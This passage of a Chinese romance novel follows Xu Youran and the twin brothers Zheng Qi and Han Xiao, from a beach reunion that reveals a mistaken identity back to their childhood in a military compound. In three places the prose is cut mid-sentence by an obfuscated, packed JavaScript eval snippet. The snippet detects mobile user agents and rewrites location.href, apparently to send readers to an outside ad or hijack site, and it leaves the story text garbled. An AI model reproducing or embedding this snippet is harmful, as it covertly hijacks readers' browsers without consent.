这画面许悠然很熟悉。郑骐的驻地在西北,许多次她跋山涉水,历经大漠孤烟直的寥廓,才来到他身边。 从十八岁开始,许悠然见过东北万里冰封,见过西北边陲荒凉,也看惯了南海千尺风浪,北国落日遥远而微弱,西北落日苍茫又远阔,南海落日灿烂却渺小,她从没想过直升机上的落日,是这样温柔明媚。或许不是因为所处位置发生了变化,落日一直是那个落日,不同的是她身边有了久违的陪伴。 沙滩上的人渐渐变小,他们慢慢远离海岸,盘旋到了近海上。 郑骐认真把控着操纵杆,看得出来有些紧张。许悠然从来没见过他这样如临大敌的模样。从小到大,郑骐不管做什么都是气定神闲的。她忍不住想使坏,凑到他身边,笑眯眯戳了戳他的脸:“没想到王牌飞行员也会怕开直升机,难道这个比战斗机还难吗?” 后排的安全员一直密切观察着郑骐的操作,见他很专业,便没作声,也不想当电灯泡打扰这对明显在热恋中的小情侣。 “别闹……”郑骐撇开脸,冲许悠然温柔笑笑,又转过头去认真开飞机。 许悠然不再打扰他,虽然两人没有说话,但是身处于这样浪漫唯美的情境里,她心里只有道不尽的柔情蜜意。她没想到十六岁那年郑骐在机场随口许下的诺言,会真的实现。 飞机落地的时候天已经黑了,日落月升,朝朝暮暮,每一天如此。可对许悠然来说,从今天开始,一切都不一样了。 影影绰绰的月光撒在海面上,不时有闪烁的波光,像传说中美人鱼不轻易示人的鱼尾。 许悠然很喜欢《海的女儿》,每次读起都忍不住伤心,为小人鱼忿忿不平。救下王子的明明是小人鱼,她为了王子宁肯忍受行走在刀尖上的痛苦,可是王子却和别人双宿双栖,甚至根本没认出她。为此她气呼呼地在郑骐面前把王子的负心薄情狠狠批判了一气,为小人鱼感到大大的不值。郑骐却摸摸她的头发笑着说,没有值不值得,只有愿不愿意。 是的,没有值不值得,只有愿不愿意。她何尝不是为了郑骐,忍受了许多难以想象的痛苦呢。可她不仅不觉得苦,反而甘之如饴。因为她愿意。 好在终于苦尽甘来,他回到了她的身边。 想起往事,许悠然的心里又甜又酸,习惯性地挽住郑骐的胳膊,将头靠在他肩上。 郑骐没有闪躲,两人就以这样亲密的姿态在海滩上慢慢走着。许悠然光着脚,偶尔调皮地用脚铲起一些沙子然后盖到郑骐鞋上,郑骐不得不也脱了鞋,跟着加入了这个幼稚的游戏。 许悠然看着眼前的人,眼眶有些发胀,渐渐盈满了泪水。她慌忙低头揉了揉,假装眼睛进了沙子。只有在她面前,郑骐才会有这孩子气的一面。 两人玩累了,并肩坐在沙滩上。许悠然靠在郑骐肩上,他肩背厚实,让她感到安全和满足。她甚至有些怀疑,眼前的一切是真实的吗?幻想了一千多个日夜的情景就这样突然实现了,在这天涯海角的绝地,她太害怕这只是她又一次的幻想。 浪高风大,一阵凉意袭来,她忍不住缩了缩肩膀。 郑骐察觉到她手臂发凉,抬手把她揽进怀里。他身体火热,源源不断的暖意快速传到了许悠然的身体里,她心里也暖洋洋的,抬头看着郑骐的侧脸。紧致的下颌线,略方的下巴让他显得很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107776|163966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坚毅,高耸的眉骨在脸颊投下一片阴影让许悠然看不清他的表情。强烈的男性气息让许悠然情肠涌动,忍不住仰头在他嘴角啄了一下。 她害羞地把头靠在郑骐肩窝里,嘴角偷偷上扬。 郑骐浑身一颤,揽着她的手微微松了松。他抬起头看了看月色,夜未央,月色有些凉。他准备放开的手又收了回去。 许悠然不解,虽然他们三年没见了,可他们不是都订婚了吗,为什么他对她,亲切有余,却感觉不够亲昵呢?换作以前,久别重逢,他肯定会开心地回应她。她一个女孩子都这么主动了,他怎么还于动无衷? 她又羞又恼,忍不住掐了他一把。 “哼!你这个大笨蛋!”她扭过头气鼓鼓地不说话。 “然然,这些年你过得好吗?”郑骐温柔地摸摸她的头,凝视着她,神色有些复杂。 许悠然没察觉到他的异样,有些委屈又有些娇羞地回望过来,月色下,她眼神清澈,像熠熠生辉的明珠。她早就忘了自己刚才还在生他的气。 “不好……” 许悠然想到他杳无音信的这三年,所有的委屈、难过、无助排山倒海地涌了上来。 她答应过的,只能自己一个人偷偷哭,所以不管她有多想他,都要装作若无其事地上课、上班,只有在夜深人静的时候,她才会默默流泪到天明。 是有怨恨的。怨他为什么这么狠心,恨他为什么要去当英雄。可是当他真切地出现在面前,温柔地问她一句“过得好不好”,知道他想到了她的孤苦伶仃,想到了她的悲伤痛苦,她所有的眼泪就再也藏不住憋不了。 “一点都不好……”她呜咽着扑进他怀里,断断续续,泣不成声。 “我好想你……可是你一个电话都不打给我……我也不知道去哪里找你……我想你的时候只能一个人偷偷躲起来哭……你怎么能这样?我讨厌你……” 她越说哭得越厉害,一边哭一边用力捶打着郑骐,逐渐有些上气不接下气。 “都是我的错,别哭了,我回来了,以后我再也不会走了……” 郑骐手忙脚乱地安抚她,又要给她擦眼泪,又要给她顺气,还得说好话哄她,他显然很不熟练也不习惯,模样有些滑稽。 许悠然还是哭得厉害,不远处有些游人投过来诧异的目光,看向郑骐的眼里甚至有些不屑和不满。 居然让这么漂亮可爱的女朋友哭得这样惊天动地,肯定是做了什么不可原谅的错事。 郑骐束手无策,突然灵光一闪,把耳朵伸到许悠然面前,低声下气地说:“那你扯扯我的耳朵好不好,我的姑奶奶你别哭了……” 许悠然被他无可奈何的模样逗笑了,捏住他的耳朵故作刁蛮地大声说:“大耳朵图图,让你欺负我!” 见她破涕为笑,郑骐终于松了口气。 他捧着许悠然的脸,粗粝的拇指摩挲在她脸上,轻轻擦去未干的泪痕。 “傻丫头,脸上有沙子都不知道,我不在的时候你要照顾好自己呀……” 云朵散去,月光骤亮,他们清晰地看到了对方眼中的自己。 许悠然微微阖上眼,凑近郑骐近在咫尺的唇。 她只顾着看他漂亮的眉眼,却没发现月光下他鼻尖独一无二的两颗痣无所遁形。 郑骐看着她越来越近的脸,犹豫不决。 就像在和魔鬼进行较量,亲下去,他将和魔鬼做交易,给她一个不会醒的美梦,代价是永远失去自己的姓名。推开他,他不知道将会发生什么,也许三年前的一切又会重演一遍。 时间终于重新启动。 他狠心往后撤了撤,手上微微用力,推开了她。 “许悠然,你看清楚,我不是郑骐,我是韩骁。” 6. 005 韩少蓉这辈子最大的心愿就是有一个乖巧可爱的女儿。她要和她一起逛街、看电影、购物,聊少女心事,她要给她买许多漂亮的连衣裙,把她打扮成最可爱的小公主,她要和她穿各种各样的亲子装,成为最时髦的母女,她们会是最好的朋友,她永远是她最坚强的后盾。 因此,当她怀孕四个月,医生告诉她肚子里是双胞胎女儿的时候,她感觉自己简直比中了彩票还高兴。两个女儿,快乐成双,幸福加倍。 她大手笔买下一大堆女婴可能会用得上的东西,粉色连体衣、粉色连衣裙、蕾丝长筒袜、红色公主鞋…… 丈夫郑英伟看得直摇头,可他是队里出名的“爱妻号”,只得甘当搬运工,隔三差五就陪着老婆在商店里血拼,然后无可奈何地看着老婆买一堆他看了就发晕的粉色物事。 深秋天气正好,院子里的梧桐都黄了,大片大片的梧桐叶在地上铺了厚厚一层,踩上去发出“吱吱”的声音,让人感到秋天并不那么寂寥,这生动的声响给人心增添了几分生机,即将到来的寒冬似乎也不那么可怕了。 瓜熟蒂落的时候到了,伴随着婴儿啼哭,老郑家的双胞胎终于出生了。 韩少蓉和郑英伟大眼瞪小眼地看着两个一模一样的小婴儿奋力瞪着小短腿,两腿间的小揪揪随着动作有节奏地摇摆着,竭力证明自己的存在感。 狸猫换太子,说好的小公主变成了臭小子。 韩少蓉气得快哭出来,要不是双方父母和好朋友周亚珍劝了又劝,她差点去找医院要个说法。 “你看这两个小家伙多俊啊,长大了肯定是大帅哥,你还能摆婆婆的款儿,人家想儿子想得头发都白了,你这一次来俩,还不高兴?” 周亚珍心直口快,忘了韩少蓉的婆婆就在旁边。摆婆婆的款儿?韩少蓉现在是老郑家的皇太后! “你喜欢你拿走!”韩少蓉气鼓鼓地说。 “怎么说话呢!”郑英伟放下这个又抱起那个,老婆出言不逊他一点也不生气,脸上满是克制不住的狂喜和宠溺。 “还没取名字吧,你想好了吗?”周亚珍见氛围不对,急忙转移话题。 韩少蓉是文学女青年,没结婚的时候还爱写点小说,最喜欢的就是给她的主角们取名字,既要有深意又要好听。这下一次有了两个取名字的机会,周亚珍心想,这个大小姐可再没精力想女儿为什么变成儿子的无解之谜了。 没想到韩少蓉毫无兴致,恹恹地说:“这个早就说好了,大的和爷爷姓,小的和姥爷姓,至于名字也让他们取吧,我懒得费脑子了。”她转过身闷闷不乐地躲进被子里。 郑英伟接过话头,笑呵呵地对周亚珍说:“名字已经取好了,哥哥叫郑骐,弟弟叫韩骁,怎么样不错吧?” 周亚珍脑子快,连忙各种吹捧,“好听好听,老郑家和老韩家的儿子,以后可不是千里马么……” 当听说儿媳妇一次生了两个小子的时候,郑老爷子喜得差点把手里的紫砂壶摔了。这位经历过越战的老军人虽然已经六十了,但是依然声如洪钟,大笑着就要去医院看望亲爱的小孙子。又熬了几个晚上的夜,把本来就快烂的大部头字典翻了又翻。 姥爷那边也不例外。虽然没上过战场,但是救活了许多战场伤兵的老军医第一次激动得手抖,吓得老伴儿以为他中风了。 两个老人马上碰头商量取名字的事,争了又争,吵了又吵,把“你的命可是我救回来的”这种陈芝麻烂谷子的事情翻来覆去地说,最后伤兵拗不过救命恩人,从了“千里马”的好兆头。 承载了两家人美好愿望的两个小子就这样被盖上了姓名印章。 周亚珍听郑英伟绘声绘色地说,一直努力憋着笑。两个老人一样的军衔,平时谁也不服谁。但只要一提起“救命恩人”的往事,郑老爷子就要被韩老爷子压一头,弄得郑英伟也在韩少蓉面前言听计从,常常被战友取笑,说他是郑老爷子拿来抵债的。 但是周亚珍知道,郑英伟虽然粗枝大叶,却是个彻头彻尾的好丈夫。若是换个人面对韩少蓉的小姐脾气,早摔东西走人了。 又东拉西扯了几句,嘱咐韩少蓉好好休息,周亚珍就告辞了。 一回到家,丈夫许仕明就凑上来连连追问。他是个大男人,不好去探望产妇,但是对好朋友家的新生儿,有一百个兴趣。 “快说快说,两个小子长得好看吗?多重?郑英伟是不是高兴傻了?咱们要不要再买点男婴用的东西送过去,不是说少蓉买的全是女婴用的么……” 他连珠炮般发问,周亚珍无语地看着他,不知道从哪答起。 好不容易等他自言自语完了,周亚珍睨着他:“你这么喜欢小孩,怎么不早点结婚生子?” 许仕明察觉到妻子话里有话,马上讨好地揽住妻子的肩,温柔地笑道:“这不是读书去了吗,不读书怎么认识你呀,不认识你哪来的老婆给我生孩子啊?” “去你的……”周亚珍被他逗笑,打棉花般捶了他一下。 两人兴奋得好像那两个小子是自己的孩子,从鼻子眼睛嘴巴讨论到长大了会像郑英伟当飞行员还是学韩少蓉当军医,直到夜深。 “亚珍,我们自己也生一个吧……” 三个月后,周亚珍检查出来怀孕了。 这个好消息把朋友韩少蓉从郁闷中解救了出来。 “那说好了,咱俩就订下娃娃亲了,你要是生的女儿,就是我干女儿加儿媳妇,不准反悔!” 周亚珍失笑,心里的话没敢说出来。万一也是个儿子呢? “你两个儿子,我只有一个,怎么订啊?” “随你挑,两个你都要也行,我看着烦……”她话音刚落,其中一个就哭了。没哭几声,另一个也加入了嚎哭比赛。两个人此起彼伏,好像谁的声音大谁就是那个命定的女婿。 “哈哈哈……太有意思了,哭也一起哭。咦,这个哭的声音好像大一点,那我就挑这个了。” 周亚珍戳戳眼前小婴儿的脸,心里非常喜欢。两个小子都长得很俊,一双明亮漆黑的眼睛直愣愣看着她,虽然在哭,可是一滴眼泪也没有,好像只是故意要引起她的注意。 “这是哥哥吧?”周亚珍小心翼翼抱起小婴儿,生怕弄疼了弄伤了。她一直都分不清谁是哥哥谁是弟弟,每次靠蒙,蒙对了就说自己慧眼如珠,蒙错了就找各种理由,比如昨晚没睡好今天眼睛有点发花。 “这是弟弟韩骁。”韩少蓉抱起另一个,没好气地白了好朋友一眼。 她没敢说,其实她有时候也分不清……连医院的医生护士都说,他们从来没见过这么像的双胞胎。 又一年春节要到了,大雪纷纷下了好几天。周亚珍挺着即将临盆的大肚子心里发慌。这雪再下下去,到时候医院都不方便去了,坐月子也麻烦。 正心烦意乱,韩少蓉的电话就来了。正是中午,她应该刚刚下班。 “怎么样,今天有没有感觉啊?” “就觉得坠得厉害,肚子一阵阵发紧。”周亚珍正说着,一阵紧绷感就如约而至。她急忙坐在床边,拿电话的手都有点抖。 “你看看发紧的频率,要是频率高了那就是要生了呀……” 韩少蓉话音刚落,周亚珍就感觉一股暖流从身体里不受控制地流了出来。 “少蓉,我……羊水可能破了……”她声音哆嗦着。 “什么!那赶紧去医院,该死的,许仕明出差了,我打12 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107777|163966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 0,你别慌,现在赶紧躺在床上,把屁股垫高点……我马上就过来……” 军令如山,许仕明也没想到会在妻子即将临盆的时候接到任务。原本可以找领导协调,可是周亚珍大大咧咧惯了,直催他快去,免得耽误了工作,反正离预产期还有大半个月。 许仕明在家总是唠叨个没完,一下你渴不渴,一下你饿不饿,不然就催着她去散步,和老妈子一样。她巴不得过几天清静日子。可她没想到,肚子里的小东西这么急着要出来见人。 羊水破了,可是她还没开指,这可不妙。最后上了催产素,足足生了两天两夜,这个磨人的小妮子终于出来了。 韩少蓉看起来比谁都开心,拎着大包小包兴奋地冲到病房,等不及要看她的干女儿。 “这是当初我买的,你不嫌弃就直接用,我都洗干净了。” 韩少蓉终于有机会展示她精心挑选的装备。各种带着蝴蝶结、爱心、花朵的粉色小裙子、蕾丝花边小袜子,把周亚珍看得眼花缭乱。 “这是我给我干女儿的见面礼。”韩少蓉又从包里掏出一个精美的盒子。 周亚珍看了看盒子上面的品牌,连连推拒。 “干什么呀,搞得这么生分,不要不要!” “我给干女儿的,你不要她要。”韩少蓉打开盒子,一条金灿灿的链子发着光,下面还坠着一个漂亮的坠子。 “这是什么?”周亚珍接过盒子仔细看起来。 “翅膀,特别吧?我挑了好久,知道你不喜欢金镯子那些,想必我的干女儿也不喜欢,所以选了这个翅膀的吊坠,希望她以后振翅高飞,自由自在。” 周亚珍不再说推辞的话,两人多年好友,也不需要那些客套。 “名字取好了吗?”韩少蓉把婴儿床里的小宝宝看了又看,想抱又不敢抱,对待自己的儿子都没这样手足无措过。 “取好了,叫许悠然。”许仕明一边整理韩少蓉带来的大包小包,一边回答。 “采菊东篱下,悠然见南山。这个名字真好听。然然……然然……我的干女儿真漂亮……”韩少蓉终于如捧至宝一般,把小婴儿抱在怀里轻轻摇晃。 许悠然的满月宴在春暖花开的时候举办。没请外人,只请了多年的至交好友,几桌人在一起乐一乐,顺便叙旧。 郑英伟碰巧休假回来,一手抱一个儿子,咧嘴傻乐着去看他的儿媳妇。 两个小子看到婴儿床里睡得正香的小婴儿犹如看到了外星人。大概从来没见过比自己还小的小孩,挣扎着要下来。 郑英伟放下孩子,在身后小心护着。他俩刚刚走路没多久,生怕一个不小心摔了,那他又要被老婆批评了。 “爸爸……宝……宝……”自己也是宝宝的郑骐伸出小胖手指着比他更小的宝宝,笑眯眯地让郑英伟看。 “你喜欢啊,这是你媳妇儿。”郑英伟也喜欢这个玉雪可爱的小女娃。 父子俩正嘻嘻笑着,摇篮里的女婴突然哭了。宝宝郑骐吓得不知所措,呆呆愣在原地,嘴一撇也要哭。 郑英伟这才发现原本慢悠悠摇晃的婴儿床不知道什么时候晃动得厉害了,难怪小女娃被吓醒了。 “韩骁!你这个臭小子!” 原来,趁着爸爸和哥哥不注意,宝宝韩骁颤颤巍巍绕到婴儿床的对面,“贴心”地给妹妹摇起了摇篮。 见摇篮里的婴儿哭了,宝宝韩骁完全不怕,反而高兴地拍起手来,嘴里还含糊不清地念叨“哭……哭……”。 这就是许悠然和兄弟俩第一次见面的情景。 多年后,当许悠然听爸妈说起这些事情的时候,总会乐得咧嘴大笑,然后气哼哼地加上一句:“韩骁真是个讨厌鬼!” 7. 006 养儿方知父母恩。 韩少蓉小时候没感受到什么父爱,韩老爷子太忙了。但是儿子出生后,她才知道,父爱可以隔代。 郑英伟长年在部队出任务,飞行员任务重、压力大,韩少蓉怕他分心,只得自己撑起带孩子的重任,可是她医院的工作也不少。两边的老人便自告奋勇帮忙带孙子。而许悠然没有爷爷奶奶,姥姥姥爷又远在千里之外,许仕明是医院的骨干,周亚珍也得按时上下班,最后还是干妈挺身而出,慷他人之慨。 “老爷子带两个是带,带三个也是带,反正以后都是自家人,让他们带没事儿!” 就这样,无人看管的许悠然成了郑骐和韩骁的跟屁虫。 “然然,快吃,不然韩骁这小子都给你抢了!” “韩骁!你是饿牢出来的啊,别抢别抢!” “郑骐,打得好,对,这小子就是欠打!” 郑老爷子从来没这么焦头烂额过。饶是战场上带兵打仗也运筹帷幄,胸有成竹,他庆幸自己身体不错,不然这三个娃娃会直接要了他的老命。实在气得不行,脾气一上来,也不管孩子们听不听得懂,破口就骂。 不过喂许悠然吃饭的空档,韩骁这小子就把哥哥的饭给抢走了,郑骐也不是好惹的,抬手就是一巴掌,把弟弟打得一愣一愣。韩骁倒也不哭,反应过来之后反而赶紧把饭往嘴里扒,好像生怕那打白挨了一样。 老爷子又好气又好笑。心里忍不住感叹,还是女娃好啊!然然这娃娃就是乖,让吃饭就乖乖坐着吃饭。正一边想着一边往许悠然嘴里喂饭,突然“噗”的一声,饭粒和子弹一样,朝他的脸扫射过来。 许悠然很乖,只要饭勺伸过来她就张开嘴接住。可是人还太小,嚼得慢,老爷子哪里想得到这些,喂着喂着,碗里的饭是越来越少了,许悠然嘴里的饭却挤成了一个包子。 对面的郑骐和韩骁哈哈大笑。 郑骐人小鬼大,还知道捂着嘴,不让爷爷太难堪。韩骁这臭小子却不知道这些,笑得在地上打滚。 老爷子擦了擦脸,确认许悠然没噎着,这才缓缓站起来。他实在憋不住了。 “韩骁!臭小子,我让你笑!我让你笑!” 整个院子鸡飞狗跳。 见爷爷追着弟弟出去了,郑骐止住笑,熟练地把韩骁碗里的饭倒回自己碗里,然后绕到对面许悠然身边,用口袋里的小手绢慢慢地给她擦脸和嘴。 “谢谢哥哥!”四岁的许悠然扬起笑脸脆生生地说。 郑骐摸摸她的头,笑眯眯地回答:“妹妹,不客气。” 等韩骁像个小野猫一样被老爷子逮回来的时候,郑骐已经把饭吃完了,正带着许悠然看故事书。两个人坐在地毯上,两个小脑袋凑在一起,认真又安静。 老爷子忍不住在心里叹气,俗话说龙生九子各有不同,可这两个孙子的性格也太天差地别了吧。韩骁一个人的破坏力抵得上十个郑骐。 他看看粉雕玉琢的许悠然,虽然才四岁,可是已经出落得十分精致可爱。雪白的皮肤,大大的眼睛,乌黑的头发梳着两个小麻花辫,穿着粉色的背带裙,十足一个讲究时髦的小公主。又看看旁边的郑骐,一样的精致面孔,看起来就像一对年画娃娃。 想到儿媳妇的话,他虽然向来当做戏言,因为这年代早已经不流行包办婚姻了。可是这两个娃娃看上去实在很登对,两家人感情又好,知根知底,若是以后真的能喜结良缘,也是一桩好事呀! 再看看被他拎回来的韩骁,衣服皱巴巴,上面还沾着饭粒,裤子也脏兮兮的,不知道什么时候又钻到哪个狗洞狗窝里了,明明是一样的脸,为什么这个就是看起来要欠揍一些呢? 老爷子胡思乱想一通,又收拾好饭桌,累得直喘气,他看看日历,恨不得仰天长啸。 老韩,快把这些孩子带走吧! 终于轮到姥爷带孩子了。郑老爷子喜滋滋地把三个孩子送到姥爷家,忍不住阴恻恻地笑了笑。 “老韩,那你辛苦了啊,我就先走了,有事给我打电话,不过我可能听不到,不知道是不是年纪大了,最近有点耳背。” “耳背?要不要我帮你看看,你的命都是我救回来的,看个耳朵那是小菜一碟,年纪大了就得服老,该戴助听器就戴,别觉得丢人……” 韩老爷子和郑老爷子打了一辈子交道,他尾巴一翘,他就知道他在憋什么鬼主意。 “那倒不至于,哈哈……哈……我先走了。”郑老爷子一边往外走一边念叨。 “这些文化人就是喜欢磨叽,一点事情说个没完……” 如果说韩骁有怕的人,姥爷算一个。他就是那吊着胡萝卜的人,总能把想吃胡萝卜的韩骁拿捏得死死的。 不同于郑老爷子的暴脾气一点就着,韩老爷子喜欢来软的。 “来来来,孩子们,看这个,喜欢吗?” 韩老爷子早就有所准备,举起两根红彤彤的糖葫芦,在孩子们前面晃了晃。 “糖葫芦!” 馋鬼韩骁伸手就要抢。 “不可以。现在我们进行一个比赛,只有赢得比赛的人才能获得奖品,奖品就是糖葫芦。” “什么是比赛?” 许悠然奶声奶气地问。 “比赛就是现在我们准备吃饭,谁能又快又好地吃完,就能得到糖葫芦,最后一个吃完的人没有奖励,哭也没用。” “比赛开始!” 不待姥爷发号施令,韩骁自己宣布了比赛开始。 “弟弟耍赖!”郑骐不服气地指出韩骁违反规则,接着他也加入了犯规队伍。 韩老爷子哭笑不得,只得被动同意比赛开始。 果然只要诱惑足够大,再调皮的孩子也能瞬间变成乖宝宝。 向来吃饭如同打仗的韩骁都被糖葫芦驯服了,不仅第一个吃完,饭桌上还前所未有的干干净净,衣服上连一粒米都没有。 紧接着郑骐也吃完了,只剩许悠然还在慢吞吞地扒饭,见两个哥哥一人手上拿着一个糖葫芦,急得“哇”的一声哭起来。 “妹妹不哭,给你。”郑骐停下撕糖葫芦包装的手,跑到许悠然身边,把糖葫芦塞进了她手里。 许悠然破涕为笑,“吧唧”一口亲在郑骐脸上,口水混着眼泪沾了郑骐满脸。 韩骁啃着糖葫芦哈哈大笑。 韩老爷子无语望天,这小子没救了。 就这样兵荒马乱地混着,许悠然九岁了。 这个时候郑骐已经跳了一级,成了六年级学生。她每天早上在郑骐的带领下去学校上学,放学再和郑骐一起回来。爸爸妈妈没回来就去郑骐家里写作业。渴了郑骐会给她倒水喝,饿了郑骐会给她热包子。郑骐和她的家人没区别,她和郑骐在一起的时间甚至比和爸爸妈妈相处的时间还长,除了晚上回家睡觉,她几乎成了郑家的孩子。 而韩骁,这个时候俨然已经成了院里的孩子王。十来岁的男孩已经有了强烈的领地意识,这大院就是韩骁的地盘。 院里五六个同龄小男孩都愿意和他玩,有什么好东西也赶着来和他分享,偏偏韩骁天生就会玩。溜溜球,他是甩得最好的。弹珠,他是打得最准的。皮球,他是踢得最带劲儿的。只要是男孩子们爱玩会玩的,他都玩得出类拔萃。 实力决定地位。他靠这些过硬的本事在男孩堆里建立了最初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107778|163966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的威信。只有在天黑了,被韩少蓉揪着耳朵拎回家的时候,他“大哥”的威信才会略微受到损伤。 还有一个例外。 “郑骐哥哥,韩骁打我。”邻居小女孩哭哭啼啼站在门口,一边向郑骐投诉韩骁的恶行,一边让他看蹭破皮的膝盖。 “别哭别哭,我找他问问看,如果是真的,我一定给你主持公道。” 十岁的郑骐已经有大家之风,从他能自主阅读开始,就把韩少蓉的藏书翻了个遍。小小年纪,说起话都有些文绉绉。 他给小女孩递过一张纸巾,走到院里,大喝一声:“韩骁!给我过来!” 不到十分钟,韩骁不知道从哪个角落钻了出来,身后还跟着几个意兴阑珊的小伙伴。 “干嘛呀?”他满脸不乐意地站在郑骐面前。 “你是不是打她了?”郑骐指着身边不停抽噎的小女孩,沉着脸问。 “没打,就是推了一下。”韩骁睨了那女孩一眼,满脸嫌弃。 “你为什么推她?”郑骐皱眉。他知道弟弟的手劲,他的“推一下”,对其他人来说就不止是推一下。 “她非要跟着我们,男孩子一起玩女孩跟着干嘛呀,她不干,非要跟着我,我就推了她一下。” “你这叫‘推一下’?”郑骐指着女孩的膝盖。 “我真的是推一下而已,谁知道她那么弱,站都站不稳。”韩骁见那女孩还在哭,更烦了。平时一个许悠然老爱哭就算了,怎么这些人也都这么喜欢哭啊!哭得难看死了!相比之下,许悠然哭得要好看一点点。 “道歉!”郑骐瞪着韩骁。 郑家家训,做错事就要认,还得接受相应处罚。韩骁现在这狡辩的模样,简直是丢郑家的人! “我没打她,干嘛要道歉,明明是她自己没站稳……”韩骁不肯屈服。从小到大,不管是爷爷还是姥爷,谁来硬的他就更硬,让跪就跪,让罚就罚,绝对不认怂,常常把韩少蓉气得血压升高。 “郑家家训你忘了?” “嘿嘿,郑家家训关我什么事,我姓韩。”韩骁嬉皮笑脸。 他话音刚落,郑骐上前就是一脚。 韩骁闪躲不及,结结实实挨了一脚。 “我让你推一下,让你手欠,让你姓韩……”郑骐追着韩骁满院子跑。 小伙伴们纷纷躲到角落里看热闹。 不是韩骁怕哥哥,实在是实力有差距。不管他怎么跑,最后总是会被郑骐逮到,然后只得老老实实屈服。虽然脾气倔,但是他愿赌服输,技不如人只能认栽。 小伙伴们见他们的“大哥”竟然被提溜着垂头丧气地认错,纷纷拜倒在郑骐的脚下。 从此,韩骁是他们的“大哥”,郑骐是他们的“大哥大”。原来不是郑骐不会,如果他愿意,溜溜球、弹珠、皮球他也都能玩得最好。 收拾完了韩骁,郑骐洗干净手这才回到桌边,继续教许悠然写作业。 许悠然假模假样地写着算术题,嘴角却忍不住偷偷上扬。看到韩骁挨揍,她比谁都高兴。 “你偷看了。”郑骐毫不留情指出她的破绽。 “没有!我一直写作业呢!”许悠然狡辩的样子和韩骁很像。 “那你怎么还在写那一题?会不会太笨了一点?”郑骐指指许悠然毫无进展的作业,戳了戳她的脑门。 “你才笨!”许悠然噘嘴闷闷不乐。 平时,韩骁就老说她笨,“笨”这个字几乎成了许悠然的引线,一点就炸。 “好好,你不笨,我笨行了吧。”郑骐无可奈何。 那时年纪小,你爱调皮我爱笑。时光慢悠悠,以为永远不会老。 8. 007 韩骁的世界很简单。上学和玩,构成了他生活的全部内容。 许悠然从来没见过他写作业,但是也从来没见过他因为不写作业被干妈揍。 “只有笨蛋才需要把作业带回家写。” 韩骁看着坐在桌前奋笔疾书的许悠然,不以为然地说。 许悠然大多时候脾气都很好,父母宠爱几乎对她千依百顺,即使做错什么事,上有干妈护着,下有郑骐挡着,她是院里公认的“小甜甜”,长得漂亮,性格温顺,成绩不错,见人就甜笑着问好,是每个父母都想要的那种女儿,她对生活很满意。除了韩骁,他总能轻而易举激怒她,让她从人见人爱的“小甜甜”变身浑身喷火的“小辣椒”。 可是她没办法,这辈子她可能都甩不掉他。那个时候,许悠然还不知道一辈子有多长,反正从她出生起,韩骁就没从她生活里消失过。就如同此刻,他明明可以出去玩,却偏偏要在她面前晃悠。 听到“笨蛋”两个字,许悠然的笔尖不小心在作业本上划了一道划痕。 我忍。 许悠然马上就十岁了,爸爸说这是个重要的日子。她将不再是小孩子,而会成为一个亭亭玉立的少女,要有气质,不能再像小孩子那样撒泼哭闹、乱发脾气。 许悠然咬咬牙,不理韩骁,眼睛不时往门外看。郑骐什么时候放学啊,初中课业这么多吗?要是他在就好了,这题怎么这么难…… 韩骁在她身边转来转去,一会儿“咕噜咕噜”喝水,一会儿把饼干咬得“咔咔”响,就是不让她有片刻的安静。 许悠然实在忍无可忍了。 “你能不能出去,你妨碍我写作业了!” “这是我家,我为什么要出去?”韩骁也不生气,嘴里咬着一块饼干,嘻嘻笑着。 “那你能不能安静点?”许悠然耐着性子继续跟他谈判。 “我没吵啊,我正常喝水吃东西,难道你吃东西一点声音也没有?”韩骁说着故意用力一咬,把饼干分成了两半。 “正常?呵呵,牛嚼牡丹也不过如此。”许悠然冷笑一下,她最近在钻研成语大全,韩骁这粗鲁模样和大笨牛没区别。 “行行,你优雅你斯文,要不你给我示范一下?”韩骁居然破天荒没有还嘴,还递了一块饼干过来。 许悠然被他激起了胜负欲,接过饼干慢慢吃起来。从小妈妈就教育她,吃东西不能发出太大声音,更不能吧唧嘴,她都听话地照做了。 她正小口小口吃着饼干,韩骁突然说:“你写作业写累了吧,要不要听个笑话?” 许悠然点点头,这数学题好难,她想了半天都没头绪,听个笑话轻松一下也不错。 韩骁清清嗓子开始声情并茂地讲笑话。 “有一天大象和小白兔一起拉粑粑,大象问小白兔你掉不掉毛,小白兔说不掉,大象就用小白兔擦了屁股……” 许悠然后悔了。她就知道韩骁说不出什么好话。在别人吃东西的时候讲拉粑粑这种事也只有他干得出来。她嫌弃地皱皱眉,准备打断他。 韩骁似乎察觉到她的抗拒,加快语速,继续讲。 